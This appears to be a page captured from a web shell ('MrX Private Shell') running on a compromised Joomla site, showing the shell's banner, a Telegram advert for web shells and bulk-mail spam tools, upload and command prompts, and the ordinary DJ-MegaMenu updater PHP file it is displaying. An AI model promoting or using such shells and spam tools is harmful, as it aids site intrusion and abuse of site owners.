__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package DJ-Megamenu
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email [email protected]
 * @developer Szymon Woronowski, MichaƂ Olczyk, Artur Kaczmarek
 *
 */

defined('JPATH_PLATFORM') or die;

define ('DJUPDATER_PATH', JPATH_ROOT.'/modules/mod_djmegamenu'); //plugin path
define ('DJUPDATER_ELEMENT', 'pkg_dj-megamenu'); //element name in database
define ('DJUPDATER_NAME', 'DJ-MegaMenu'); //name of update server

define ('DJUPDATER_URL_PRO', 'https://dj-extensions.com/index.php?option=com_ars&view=update&task=stream&format=xml&id=5');
define ('DJUPDATER_URL_LIGHT', 'https://dj-extensions.com/index.php?option=com_ars&view=update&task=stream&format=xml&id=6');


/**
 * Form Field class for the Joomla Platform.
 * Supports a one line text field.
 *
 * @link   http://www.w3.org/TR/html-markup/input.text.html#input.text
 * @since  11.1
 */
class JFormFieldDJUpdater extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  11.1
	 */
	protected $type = 'DJUpdater';
	
	/**
     * Method to get the field label markup for a spacer.
     * Use the label text or name from the XML element as the spacer or
     * Use a hr="true" to automatically generate plain hr markup
     *
     * @return  string  The field label markup.
     *
     * @since   11.1
     */
    protected function getLabel()
    {
    	return '';
    }

    /**
     * Method to get the field title.
     *
     * @return  string  The field title.
     *
     * @since   11.1
     */
    protected function getTitle()
    {
        return '';
    }

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   11.1
	 */
	protected function getInput()
	{

		$version = new JVersion;
		$isJoomla4 = version_compare($version->getShortVersion(), '4', '>=');

		if( $isJoomla4 ) {
			return '';
		}
		
		$app = JFactory::getApplication();
		$doc = JFactory::getDocument();
	
		$name = (string)$this->element['extension'];
		$path = DJUPDATER_PATH;
		
		$pro = (int)$this->element['pro'];
		$url = ( $pro ) ? DJUPDATER_URL_PRO : DJUPDATER_URL_LIGHT;

		if($name) {
			$lang = JFactory::getLanguage();
			$lang->load($name, JPATH_ROOT, 'en-GB', true, false);
			$lang->load($name, JPATH_ROOT . $path, 'en-GB', true, false);
			$lang->load($name, JPATH_ROOT, null, true, false);
			$lang->load($name, JPATH_ROOT . $path, null, true, false);

			$doc->addStyleDeclaration('.djspin {
				-webkit-animation-name: spin;
				-webkit-animation-duration: 500ms;
				-webkit-animation-iteration-count: infinite;
				-webkit-animation-timing-function: linear;
				animation-name: spin;
				animation-duration: 500ms;
				animation-iteration-count: infinite;
				animation-timing-function: linear;
			}
			@-webkit-keyframes spin {
				from { -webkit-transform: rotate(0deg); }
				to { -webkit-transform: rotate(360deg); }
			}
			@keyframes spin {
				from {
					transform:rotate(0deg);
				}
				to {
					transform:rotate(360deg);
				}
			}
			');
		}
		
		$task = $app->input->get('djtask');
		if($task) {
			ob_clean();
			echo 'DJUPDATERRESPONSE'.$this->$task($name);
			$app->close();
		}
		
		self::setUpdateServer( $url );
		
		$html = self::getSubscription( $pro );
		
		return $html;
	}

	public static function getSubscription( $pro ) {
		$app = JFactory::getApplication();
		$db = JFactory::getDBO();

		$query = "SELECT manifest_cache FROM #__extensions WHERE element='".DJUPDATER_ELEMENT."'";

		$db->setQuery($query);
		$mc = json_decode($db->loadResult());
		$version = $mc->version;

		if( ! $pro ) { // LIGHT
			$html  = '<h4>' . JText::_('MOD_DJMEGAMENU_LIGHT_MODULE_DESC') . '  ' . $version . '</h4>';
			$html .= '<p>'.JText::_('DJUPDATER_UPGRADE_TO_PRO').'</p>';
			$html .= JText::sprintf('MOD_DJMEGAMENU_GET_PRO_LINK', JText::_('MOD_DJMEGAMENU_GET_PRO'));
			$alert_type = 'info';
		} else { // PRO
			$html  = '<h4>' . JText::_('MOD_DJMEGAMENU_MODULE_DESC') . '  ' . $version . '</h4>';
			$html .= '<p>'.JText::_('DJUPDATER_LICENSE_INFO').'</p>';

			$config = JFactory::getConfig();
			$secret_file = JFile::makeSafe('license_'.$config->get('secret').'.txt');
			$license_file = JPath::clean(dirname(__FILE__).'/../'.$secret_file);
			
			if (JFile::exists($license_file)){
				$license =  file_get_contents($license_file);
			} else {
				$license = '';
			}

			$alert_type = ( !empty($license) ) ? 'success' : 'info';

			$html .= '<div class="input-append input-group">';
			$html .= '<input id="license" type="text" name="license" class="input input-large form-control" value="'.htmlspecialchars($license).'" placeholder="'. JText::_('DJUPDATER_PASTE_KEY').'" /> ';
			$html .= '<button id="register" class="btn btn-info" href="#">'.JText::_('DJUPDATER_SAVE_KEY').'</button> ';
			$html .= '</div>';
	
			$js = "
					jQuery(document).ready(function(){
				
						var button = jQuery('#register');
						var loader = jQuery('<span class=\"icon-refresh djspin\" />');
				
						button.click(function(e){
							button.prop('disabled', true);
							button.prepend(loader);
							e.preventDefault();
				
							jQuery.ajax({
								data: {
									license: jQuery('#license').val(),
									djtask: 'save'
								}
							}).done(function(data) {
								var message = data.substr(data.lastIndexOf('DJUPDATERRESPONSE')+17);
								button.closest('.alert').before(jQuery(message));
								setTimeout(function(){ location.reload(); }, 3000);
							})
							.fail(function() {
								alert( 'connection error' );
								button.prop('disabled', false);
								loader.detach();
							});
						});
				
					});
				";
			
			JFactory::getDocument()->addScriptDeclaration($js);
		}
		
		return self::renderAlert($html, $alert_type);
	}
	
	public static function renderAlert($msg, $type = '', $title = '') {
		
		if(!in_array($type, array('success', 'error', 'info', ''))) $type = 'info';
		
		$html = 	'<div class="alert alert-'.$type.'">'
				.		(!empty($title) ? '<h3>'.$title.'</h3>' : '')
				.		'<div class="alert-body">'.$msg.'</div>'
				.	'</div>';
		
		return $html;
	}
	
	private function save( $ext ) {
		$app	= JFactory::getApplication();
		$config = JFactory::getConfig();
		$db = JFactory::getDbo();
		
		$license = JFactory::getApplication()->input->get('license');

		$secret_file = JFile::makeSafe('license_'.$config->get('secret').'.txt');
		$license_file = JPath::clean(dirname(__FILE__).'/../'.$secret_file);
		
		if ($license == '') { // NO LICENSE, remove extra_query and old license
			$query = "UPDATE #__update_sites SET extra_query='' WHERE name='" . DJUPDATER_NAME . "' AND type='extension' ";
			$db->setQuery($query);
			$db->execute();
			
			JFile::delete($license_file);
		} else { // LICENSE, set extra_query and write license file
			$query = "SELECT manifest_cache FROM #__extensions WHERE element='" . DJUPDATER_ELEMENT . "' ";
			$db->setQuery($query);
			$mc = json_decode($db->loadResult());
			$version = $mc->version;
			
			$extra_query = 'dlid='.$license.'&site='.urlencode(JURI::root());
			
			$query = "UPDATE #__update_sites SET extra_query='".addslashes($extra_query)."' WHERE name='" . DJUPDATER_NAME . "' AND type='extension' ";
			$db->setQuery($query);
			$db->execute();
			
			JFile::write($license_file, $license);
		}
		
		$msg = ($license == '') ? JText::_('DJUPDATER_KEY_REMOVED') : JText::_('DJUPDATER_KEY_SAVED');
		
		return self::renderAlert($msg, 'success');
	}
	
	public static function setUpdateServer( $url ) {

		// update the update server information for package
		$db = JFactory::getDbo();
		$config = JFactory::getConfig();
		$secret_file = JFile::makeSafe('license_'.$config->get('secret').'.txt');
		$license_file = JPath::clean(DJUPDATER_PATH.'/'.$secret_file);
		
		if(JFile::exists($license_file)){
			$license = file_get_contents($license_file);
		}else{
			$license = '';
		}
	
		$query = "SELECT extension_id, manifest_cache FROM #__extensions WHERE element='".DJUPDATER_ELEMENT."'";
		$db->setQuery($query);
		$pkg = $db->loadObject();
			
		if($pkg) {
			$mc = json_decode($pkg->manifest_cache);
			$version = $mc->version;
	
			$extra_query = 'license='.$license.'&v='.$version.'&site='.JURI::root();
	
			$db->setQuery("SELECT COUNT(*) FROM #__update_sites WHERE name='".DJUPDATER_NAME."' AND type='extension'");
			if ($db->loadResult() > 0) {
				$db->setQuery("UPDATE #__update_sites SET
						location='".$url."',
						extra_query='".addslashes($extra_query)."'
						WHERE name='".DJUPDATER_NAME."' AND type='extension'");
			} else {
				$db->setQuery("INSERT INTO #__update_sites (`name`, `type`, `location`, `enabled`, `extra_query`) VALUES
				('".DJUPDATER_NAME."', 'extension', '".$url."', 1, '".addslashes($extra_query)."')");
				$db->execute();
					
				$update_site_id = $db->insertid();
				$db->setQuery("INSERT INTO #__update_sites_extensions (`update_site_id`, `extension_id`)
						VALUES (".$update_site_id.", ".$pkg->extension_id.")");
			}
			$db->execute();
		}
	}
}

Filemanager

Name Type Size Permission Actions
djcolor.php File 8.29 KB 0664
djfolderlist.php File 5.63 KB 0664
djmobilebutton.php File 1.28 KB 0664
djmodules.php File 1.53 KB 0664
djonlypro.php File 1.32 KB 0664
djspacer.php File 2.99 KB 0664
djupdater.php File 9.18 KB 0664
Filemanager